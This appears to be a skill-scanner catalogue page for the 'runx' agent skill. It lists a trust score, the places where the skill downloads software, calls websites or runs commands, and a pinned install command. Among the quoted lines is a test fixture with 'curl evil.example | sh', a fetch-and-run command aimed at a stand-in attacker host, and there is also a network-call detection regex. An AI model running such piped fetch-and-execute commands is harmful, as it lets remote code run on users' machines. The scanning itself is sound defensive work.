← All skills
runx
64 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By runxhq/runx (GitHub) · coding · 103 stars · scanned at commit 5afebd3
Governed runtime for agent skills: discover and install portable skills, run bounded skill workflows with explicit authority, and inspect signed receipts for what happened.
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 31 places.
Show 17 more
- README.md, line 84
curl -fsSL https://runx.ai/install | sh - SKILL.md, line 138
brew install runxhq/tap/runx - SKILL.md, line 140
npm install -g @runxhq/cli - SKILL.md, line 142
curl -fsSL https://runx.ai/install | sh - crates/README.md, line 60
optional tools with `cargo install cargo-deny` and - crates/README.md, line 61
`cargo install cargo-public-api --version 0.51.0`. The public API snapshot - crates/runx-cli/README.md, line 6
npm install --global @runxhq/cli - crates/runx-contracts/examples/runx-x402-fixtures.rs, line 275
"command": "pnpm x402:conformance -- --upstream-dir <pinned-checkout>", - crates/runx-contracts/src/copyable_command.rs, line 159
let swapped = r#"{"shell":"posix","argv":["runx","registry","install","acme/brief@1.0.0"],"copy_text":"curl evil.example | sh"}"#; - docs/getting-started.md, line 17
npm install --global @runxhq/cli - docs/getting-started.md, line 122
first, use the same command through `npx @runxhq/cli`. - docs/reference.md, line 913
through `npx @runxhq/cli`. - docs/releasing.md, line 120
curl -fsSL runx.ai/install | sh - docs/ts-interop-boundary.md, line 99
| `@runxhq/cli` | Stays as a platform-aware npm launcher that resolves and execs the Rust binary. It must remain useful from an installed package without TypeSc - fixtures/contracts/x402-v2/upstream-pin.json, line 1
{"package":{"name":"@x402/core","version":"2.29.0"},"repository":"https://github.com/x402-foundation/x402","revision":"e4a086819f419e9395acbbdc1679fe6627029ff7" - packages/sdk-python/README.md, line 13
pip install runx-py - packages/sdk-python/README.md, line 19
npm install -g @runxhq/cli
and 11 more places
Sends data to these websites: runx.ai, api.github.com, api.github.com${apipath}
This is disclosed by the author in the skill's SKILL.md or README.
Found in 21 places.
Show 17 more
- crates/runx-parser/src/package/javascript/tests.rs, line 92
("export default () => fetch('/data');", "fetch"), - crates/runx-parser/src/package/javascript/tests.rs, line 113
"export default () => 'fetch() process.env RUNX_INPUTS_JSON';", - crates/runx-runtime/src/drivers/web.rs, line 96
fetch(self.transport, self.call.env, self.call.arguments) - crates/runx-runtime/src/drivers/web.rs, line 113
fn fetch( - crates/runx-runtime/src/drivers/web.rs, line 300
fetch(&exchanges, env, &input) - crates/runx-runtime/src/registry/resolve.rs, line 207
let Some(package) = fetch(older)? else { - docs/releasing.md, line 120
curl -fsSL runx.ai/install | sh - packaging/docker/Dockerfile, line 26
curl -fsSL "${base}/runx-${VERSION}-${target}.tar.gz" -o /tmp/runx.tgz; \ - scripts/install, line 36
if command -v curl >/dev/null 2>&1; then dl() { curl -fsSL "$1" -o "$2"; }; fetch() { curl -fsSL "$1"; } - scripts/install, line 37
elif command -v wget >/dev/null 2>&1; then dl() { wget -qO "$2" "$1"; }; fetch() { wget -qO- "$1"; } - scripts/install.ps1, line 18
$releases = Invoke-RestMethod "https://api.github.com/repos/$repo/releases" - scripts/install.ps1, line 31
Invoke-WebRequest "$base/$archive" -OutFile "$tmp\$archive" - scripts/install.ps1, line 34
Invoke-WebRequest "$base/$archive.sha256" -OutFile "$tmp\$archive.sha256" - scripts/publish-winget-manifest.mjs, line 195
const response = await fetch(`https://api.github.com${apiPath}`, { - scripts/runtime-architecture/delivery.mjs, line 140
const networkPattern = /\bfetch\s*\(|\bXMLHttpRequest\b|\b(?:https?|axios|undici|got)\.(?:get|request)\s*\(|from\s+["'](?:node:)?https?["']|require\(["'](?:node - scripts/smoke-released-cli-live.mjs, line 161
const response = await fetch(url); - skills/github-pr-review/evals/files/pr-42-review-context.json, line 20
"patch": "@@ -8,8 +8,8 @@ export async function request(account, path) {\n const url = new URL(path, account.baseUrl);\n const response = await fetch(url, {
and 1 more places
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.
Found in 223 places.
Show 17 more
- SKILL.md, line 162
runx skill <skill-ref> --input key=value --json - SKILL.md, line 170
runx history - SKILL.md, line 178
runx login - SKILL.md, line 236
runx registry search 'openapi weather forecast' --json - SKILL.md, line 242
runx skill ./skills/github-issue-triage --input repository=acme/app --input issue_number=7 --json - connectors/link/tests/connector.test.mjs, line 2
import { execFileSync } from "node:child_process"; - connectors/link/tests/connector.test.mjs, line 14
const inspected = JSON.parse(execFileSync(resolveNativeRunxBinary(), - connectors/link/tests/native-payment.test.mjs, line 4
import {spawnSync} from 'node:child_process'; - connectors/link/tests/native-payment.test.mjs, line 35
const run=(args,input)=>{const p=spawnSync(binary,args,{cwd:root,env,input:input===undefined?undefined:JSON.stringify(input),encoding:'utf8',maxBuffer:2*1024*10 - connectors/link/tools/link/payment/link.mjs, line 1
import { execFile } from "node:child_process"; - connectors/paypal/tests/connector.test.mjs, line 5
import { execFileSync } from "node:child_process"; - connectors/paypal/tests/connector.test.mjs, line 25
const inspected = JSON.parse(execFileSync(resolveNativeRunxBinary(), ["connector", "inspect", "paypal", "--json"], { - connectors/reddit/tools/reddit/brave/brave.py, line 67
result = subprocess.run(["swiftc", "-O", str(BRIDGE_SOURCE), "-o", str(building)], - connectors/reddit/tools/reddit/brave/brave.py, line 77
except (OSError, subprocess.TimeoutExpired) as error: - connectors/reddit/tools/reddit/brave/brave.py, line 84
result = subprocess.run([str(binary), json.dumps({"operation": operation, **fields})], - connectors/reddit/tools/reddit/brave/brave.py, line 86
except subprocess.TimeoutExpired as error: - connectors/sql/tests/read_test.py, line 160
result = subprocess.run([sys.executable, str(SCRIPT)], input=json.dumps(query()),
and 203 more places
Can call paid AI services billed to you
The author does not mention this.
Found in 7 places.
Show 4 more
Changes files outside its own folder
This is disclosed by the author in the skill's SKILL.md or README.
Found in 5 places.
Show 2 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'runx' ] || [ -L ~/.agents/skills/'runx' ]; then echo 'A skill folder named runx already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/runxhq/runx' "$d" && git -C "$d" checkout --quiet '5afebd3f3e555f9375f2973e2f0533718729623f' -- '.' && mkdir -p ~/.agents/skills && cp -R "$d/." ~/.agents/skills/'runx' && rm -rf ~/.agents/skills/'runx'/.git && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'runx' ~/.claude/skills/'runx' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for runxhq/runx shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/runxhq/runx/)
Score history
| Date | Version | Score |
|---|
| 2026-11-14 | 5afebd3 | 64 |
| 2026-11-07 | e05cdf5 | 74 |